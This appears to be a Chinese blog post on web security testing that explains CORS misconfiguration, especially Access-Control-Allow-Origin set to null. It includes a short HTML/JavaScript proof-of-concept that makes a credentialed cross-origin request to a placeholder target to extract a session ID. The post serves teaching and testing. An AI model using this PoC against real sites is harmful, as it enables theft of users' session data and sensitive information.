美文网首页菜鸟追梦
Web业务安全测试—CORS跨域资源共享漏洞

Web业务安全测试—CORS跨域资源共享漏洞

作者: Magicknight | 来源:发表于2018-07-24 18:06 被阅读163次

CORS跨域共享漏洞的定义

  • 首先了解下同源策略,同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据
同源策略:
  • 同端口
  • 同协议
  • 同域名

生活总有例外,实践中有一些场景需要跨域的读写,所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。目前主流浏览器均支持CORS。

  • 当CORS的设置不正确时,就会带来安全问题。注意Access-Control-Allow-Origin的值,当其为null、意味着信任任何域,*这时候可能引入安全问题。

在测试过程发现,当A网站设置Access-Control-Allow-Origin:null的时候,B站能够读取A站的敏感数据。此漏洞曾在黑客大会上爆过https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/并未引起太多关注。
POC如下:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

Post请求也能获取敏感数据。

相关文章

网友评论

    本文标题:Web业务安全测试—CORS跨域资源共享漏洞

    本文链接:https://www.haomeiwen.com/subject/ihsymftx.html